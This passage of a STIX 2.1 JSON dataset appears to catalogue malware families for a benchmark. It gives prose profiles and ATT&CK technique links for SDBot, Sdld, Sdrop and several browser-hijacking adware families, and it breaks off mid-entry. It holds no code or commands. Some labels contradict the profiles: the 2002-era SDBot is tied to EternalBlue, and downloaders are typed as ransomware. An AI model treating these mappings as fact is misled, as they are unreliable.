      "description": "SDBot is one of the most foundational, architecturally influential, and widely cloned IRC-controlled backdoor trojans in computer security history, first released in 2002 by an anonymous underground programmer. Written in modular C++, SDBot's source code was publicly disseminated across underground coding repositories, serving as the evolutionary ancestor and template for a sprawling lineage of 2000s-era worm and botnet threats\u2014most notably Rbot, Agobot (Gaobot), and Spybot.\n\nSDBot connected compromised endpoints to secret Internet Relay Chat (IRC) channels, awaiting operator commands prefixed with passwords to launch distributed denial-of-service (DDoS) SYN floods, sniff local network traffic for plaintext credentials, log keystrokes, and automatically scan local subnets to exploit unpatched Windows RPC and SMB vulnerabilities (including MS03-026 / CVE-2003-0352 and MS04-011 / CVE-2004-0115). In 2007, SDBot and its derivatives were primary targets of the FBI's historic 'Operation Bot Roast', which dismantled multiple commercial botnet rings controlling over a million hijacked computers worldwide. (Observed samples in benchmark: 1,931)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SDBot",
        "SDbot",
        "Win32/SDBot",
        "Rbot",
        "Spybot",
        "Backdoor.SDBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sdbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sdbot"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78b50a96-4c4a-57a1-a0d4-b4c37819fb69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f44255c1-3def-5048-95c2-332a46be0c4f",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdbot exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a80b918-6b96-54f2-a633-1548f4ff1823",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f44255c1-3def-5048-95c2-332a46be0c4f",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdbot exhibits technique T1210 (Exploitation of Remote Services (Using EternalBlue to spread laterally))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62100416-facf-5f25-ac87-76eba0fcb8c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f44255c1-3def-5048-95c2-332a46be0c4f",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdbot exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f94bab37-e0da-59a8-bc54-880a0e2826ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f44255c1-3def-5048-95c2-332a46be0c4f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--badd291d-7cb5-549f-a129-3ac79ef734c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f44255c1-3def-5048-95c2-332a46be0c4f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99a3972d-b03d-53cc-b8e2-2d96bec9d8af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f44255c1-3def-5048-95c2-332a46be0c4f",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdbot exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13c900e5-30ed-5dce-9a99-b327e913afe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sdld",
      "description": "Trojan:Win32/Sdld is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sdld</b><br>To an end-user, a Sdld infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sdld is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sdld is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sdld frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sdld reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sdld",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sdld"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d072416-2bab-52ce-9a75-b89468cc0b1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13c900e5-30ed-5dce-9a99-b327e913afe9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdld exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--306d252c-9415-541d-8c7d-3d3a773a9e3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13c900e5-30ed-5dce-9a99-b327e913afe9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdld exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b3c5aa0-7bd0-5990-8019-d1551ba82d30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13c900e5-30ed-5dce-9a99-b327e913afe9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdld exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be9924d1-41b4-54ad-945b-72de38e1a039",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13c900e5-30ed-5dce-9a99-b327e913afe9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdld exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5eac076-7be8-5001-be36-a0c65f902cdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13c900e5-30ed-5dce-9a99-b327e913afe9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdld exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8e2ec08d-0bc8-5397-aee4-bbf65b1d513a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sdrop",
      "description": "<h3>Executive Summary</h3>\nSdrop is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSdrop is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Sdrop operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Sdrop ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Sdrop receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Sdrop infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Sdrop executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Sdrop frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Sdrop",
        "Dropper.Sdrop",
        "Win32/Sdrop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sdrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sdrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1377e16b-e2ff-5ae0-a81f-189bc2b36e02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e2ec08d-0bc8-5397-aee4-bbf65b1d513a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdrop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33cacc55-de28-5341-95fa-6fc6c59eeee2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e2ec08d-0bc8-5397-aee4-bbf65b1d513a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdrop exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--168722e2-97ec-52c5-bc80-4d191c487117",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e2ec08d-0bc8-5397-aee4-bbf65b1d513a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sdrop exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7090cba9-3e4a-5f80-89f0-ba194b99ca07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Searchbar",
      "description": "<h3>Executive Summary</h3>\nSearchBar is a prominent family of Browser Hijackers and Adware engineered to aggressively monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects highly intrusive advertisements, posing a significant threat to end-user privacy and degrading network performance within enterprise environments.\n\n<h3>Distribution and Technical Behavior</h3>\nSearchBar is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, SearchBar deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> SearchBar alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile SearchBar does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the SearchBar executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SearchBar",
        "PUP.SearchBar",
        "BrowserModifier:Win32/SearchBar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Searchbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/searchbar"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--207c2a57-8b9e-5de1-aa51-80a8f48daf69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7090cba9-3e4a-5f80-89f0-ba194b99ca07",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchbar exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--041b239e-6602-5b31-85a0-c9822f1ab427",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7090cba9-3e4a-5f80-89f0-ba194b99ca07",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchbar exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46aee7d0-be00-5b6d-b2fc-4c2740715209",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7090cba9-3e4a-5f80-89f0-ba194b99ca07",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchbar exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e6a7599-9044-5c3b-9a00-f979a545e3d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Searchgo",
      "description": "Adware:Win32/Searchgo is an intrusive adware component and **Browser Hijacker** designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect all search queries through its own affiliated search engines (often a customized portal branded as 'SearchGo'), injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue.<br><br><b>Understanding Searchgo</b><br>To an end-user, Searchgo is highly disruptive. The default search engine is inexplicably changed, the new tab page opens to a strange portal, and browsing feels sluggish due to the injection of extra advertising scripts. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Searchgo is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic, rewrite DNS requests for popular search engines (like Google or Bing), and forcibly redirect the query to the Searchgo domain, ensuring the adware creators capture the search traffic.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties (appending the Searchgo URL), unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to the Searchgo tracking infrastructure and redirected search traffic containing affiliate tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Searchgo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/searchgo"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afe1e55b-fe70-5026-b18f-3436a6a8b810",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e6a7599-9044-5c3b-9a00-f979a545e3d0",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchgo exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c4fc36b-342a-5915-a7dc-b64ba073ade5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e6a7599-9044-5c3b-9a00-f979a545e3d0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchgo exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3403f288-aa86-5337-b6dd-1326db777c95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e6a7599-9044-5c3b-9a00-f979a545e3d0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchgo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06a31022-031b-5603-b4fe-bd84ca846694",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e6a7599-9044-5c3b-9a00-f979a545e3d0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchgo exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc24ea1b-550a-5101-bf1e-1ca07725700c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Searchpage",
      "description": "SearchPage (classified across endpoint security engines as BrowserModifier:Win32/SearchPage, Adware:Win32/SearchPage, and Trojan.BrowserModifier.SearchPage) is a persistent browser hijacker and search redirection tool engineered to monetize web traffic. Distributed primarily via bundled freeware installers, rogue browser extension prompts, and misleading torrent downloads, SearchPage hijacks user web browsing navigation by forcefully reconfiguring browser preferences across Google Chrome, Mozilla Firefox, and Microsoft Edge. Upon installation, it modifies shortcut targets (`.lnk` files) on the desktop and taskbar by appending URL parameters, changes default search engines, and replaces new tab homepages with syndicated search domains (such as searchpage.com). SearchPage intercepts search keywords, routes traffic through multiple intermediate redirection servers, and injects pay-per-click advertisements and promoted links ahead of organic results. To resist removal, SearchPage installs persistent background update monitors that restore modified browser settings if altered by the user. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/SearchPage",
        "Adware:Win32/SearchPage",
        "Win32/SearchPage",
        "SearchPage Hijacker",
        "Trojan.SearchPage"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Searchpage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/searchpage"
        }
      ],
      "labels": [
        "browser_modifier",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f65e05b5-6e5e-5532-b423-7a874c592ba8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc24ea1b-550a-5101-bf1e-1ca07725700c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchpage exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac051235-f93c-53b3-918e-36bf192dfec7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc24ea1b-550a-5101-bf1e-1ca07725700c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchpage exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2acae29d-10c7-584e-831d-14aa850f72e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc24ea1b-550a-5101-bf1e-1ca07725700c",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchpage exhibits technique T1546 (Event Triggered Execution: Browser Shortcut Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67f613ff-7393-5b17-ba1b-c4bd20aaa146",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc24ea1b-550a-5101-bf1e-1ca07725700c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchpage exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45abf4a0-62e7-5868-86eb-a8d37c86e633",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc24ea1b-550a-5101-bf1e-1ca07725700c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchpage exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e69d7b71-02d8-5c44-b03b-1f5452252cee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Searchprovide",
      "description": "<h3>Executive Summary</h3>\nSearchProvide is a highly disruptive Adware and Browser Hijacker variant designed to aggressively monetize infected endpoints. It achieves this by forcefully injecting unauthorized advertisements into the user's web browsing experience, redirecting search queries to affiliate marketing networks, and comprehensively tracking the user's online behavior to generate illicit ad revenue for the threat actors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSearchProvide primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, media players, or PDF converters downloaded from third-party, untrustworthy aggregators. The installation is often obscured through deceptive UI \"Dark Patterns\" that trick the user into authorizing the adware's deployment.\n\nOnce installed, SearchProvide employs several aggressive techniques:\n<ul>\n<li><strong>Browser Extension Forcing:</strong> It installs malicious extensions or add-ons across all major web browsers (Chrome, Firefox, Edge). It often uses Group Policy Object (GPO) modifications in Windows to force-install these extensions and prevent the user from disabling them.</li>\n<li><strong>Search Hijacking and Redirection:</strong> SearchProvide alters the browser's default search engine and homepage. Legitimate search queries are intercepted and routed through attacker-controlled domains to artificially inflate traffic metrics for affiliate programs.</li>\n<li><strong>Content Injection:</strong> The adware actively modifies the HTML of legitimate websites the user visits, overlaying the page with intrusive pop-ups, banner ads, and in-text hyperlinks that were not placed there by the site owner.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile SearchProvide does not typically encrypt files like ransomware, it severely degrades the operational capacity of the endpoint. The constant redirection and rendering of injected ads consume significant CPU and RAM, leading to browser crashes and system instability. Furthermore, the extensive harvesting of browsing history constitutes a severe privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Comprehensive Anti-Malware Scan:</strong> Utilize an enterprise-grade anti-malware solution capable of detecting and removing deeply embedded Potentially Unwanted 